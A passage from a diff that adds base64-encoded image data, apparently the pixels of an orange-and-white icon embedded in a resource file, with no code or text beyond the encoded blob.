+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAC+mz8xy5sbrN6jBP3srAH/8LAF/+qwE//dphX/3KMJ/+ipAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/7a0A/9miDv/ssA//7q4B/+Co
+        EerHqls0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4ky0jzZoQqOGlA/7urgH/8LIK/+KrFf/cpRH/4qUC//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/9yjCv/orhL/768B/+KoDfDJpkc3AAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8mDYOy5oXit+k
+        BfnsrAH/8LIL/+CpFv/bowz/6aoB//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9+l
+        CP/nrRP/768B/+KpEO3Qt3MpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAw5otUNmhCOPqqwH/8LEH/+OrFv/bowz/6qsA//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9+lB//orhL/764B/9+nEN/RqT4XAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwqFKE86eG6nlqAP/768C/+mv
+        FP/bpBD/56kB//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/92kCf/rrw7/7q4C/9yrJr7MrFUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAMKgRELbogjl7K0B/++xDP/cphX/4aUE//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/9ujDf/usAr/660F/9ms
+        M38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALGdZALRnxd+46cF/O+vA//nrhT/26IM/+2t
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/7q0B/9ymEv/wrwP/5aoK+9esODQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AADJqlYO06AWseiqA//wsQj/3qgW/+KmBP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/56kC/+Or
+        E//vrwL/360lzs62dQMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz6AgHdijE9LrrAL/7bEN/9mjEf/qqwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/3qQK/+6wC//qrAf/3KwrZgAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMay
+        ei3dpQrj7q4C/+qvEv/bowz/7q4A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/urgH/3qYS/++vAv/jrh7m2cF+CQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADHo0Y34KgR7O+vAv/mrRT/3qMI//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/hpgf/668N/+yuB//dt1BuAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxqNFN+Go
+        DfDvrwP/46wV/+GmBf/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/ephH/8LAD/+OtG9/WwIQDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMu3gC3hqA3w768D/+KrFv/jpwT/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wsAP/8LIK//Cz
+        Df/xsw//8bUU//G2Gf/xtxr/8bUV//G0Ef/wsw7/8LIM//CxB//wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+CmCP/trwv/664L/+G3
+        Rk4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADWpR8h36kV5++v
+        Av/jqxX/5KcE//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cx
+        B//xuB3/8cA6//HAPP/ww0r/881n//TVgv/02Iz/9t+e//nkrP/3463/9uOw//bjr//25LL/+OSt//fh
+        pf/13Jb/9NeI//TSdv/xx1X/8cE+//HAPP/yuyj/8LIL//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/7q4C/+CnD//vrwX/4bI1rQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAzbBhEd2mE9jurgL/5KwV/+KmBP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wsAP/8bkg//C/Pf/xyFj/9NiL//birP/56b7//Pbl//7+/v//////////////
+        //////////////////////////////////////////////////////////////7+/v/9+/P/+u7M//bj
+        r//13Jb/8sxk//C/Pf/xuib/8LAF//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/36YO//Cw
+        BP/nrxf4379pDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMSpYQPbpRS87a0C/+et
+        E//gpQb/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAf/xtxz/78A+//PRdf/24an/+/HV//7+
+        /v//////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////+/v7//PXh//birf/y0nn/78A///G3
+        Gv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/kqAX/6q4M/+ywDv/juERSAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA2KcgjeqsBP/srw7/3KMJ//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cw
+        A//xvCz/8MdX//Xen//89N///v7+////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////7+/v/89OD/9N2e//DFUf/xuST/8K8B//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/++v
+        Av/gpw7/77AI/+O4QZgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANSrPVDnqgf+77AK/9qj
+        Dv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAf/xuif/8Mhe//bjr//+/Pj/////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////fry//Teof/vw03/8bUV//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+CnEP/wsAX/57Qu0wAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADVqTId4akT7e+wBf/bpRP/7a0B//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/xtBL/78JL//Xg
+        p//+/Pn/////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////////////////////////////////////z36v/y1Yj/8L0z//Cv
+        Av/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/36UL//CxCP/qshz85ch6CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0cq2AdusKrzurgP/4qoU/+ep
+        Av/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8Lop//DQef/89ub/////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////7+/v/25rv/78JN//CxCf/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/kqAb/668L/+2yFv/ouj8yAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADZrjto6qwG/+yvDv/epAj/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8C/++9OP/03qT//v79////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///789//7cdf//CzD//wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/+ytBv/lqQn/7rIS/+jAVFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1a9JGeGqEvDwsAb/26QQ//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CwA//uv0H/9ufA//7+/v//////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////89+n/7sln//CyDv/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8LAE/9+nDv/vsxD/6rk2cAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADaqiml7a4D/+GpE//pqwL/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwH/7b4+//bow//+/v7/////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////89un/7MRb//CwBv/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwH/36cP/++yD//rxFyEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA17BIO+erCv7usAv/3qQJ//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A/+25Lf/05bn//v7+////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////////////////////58dr/671A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/kqg3/8LMP/+zH
+        Y5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
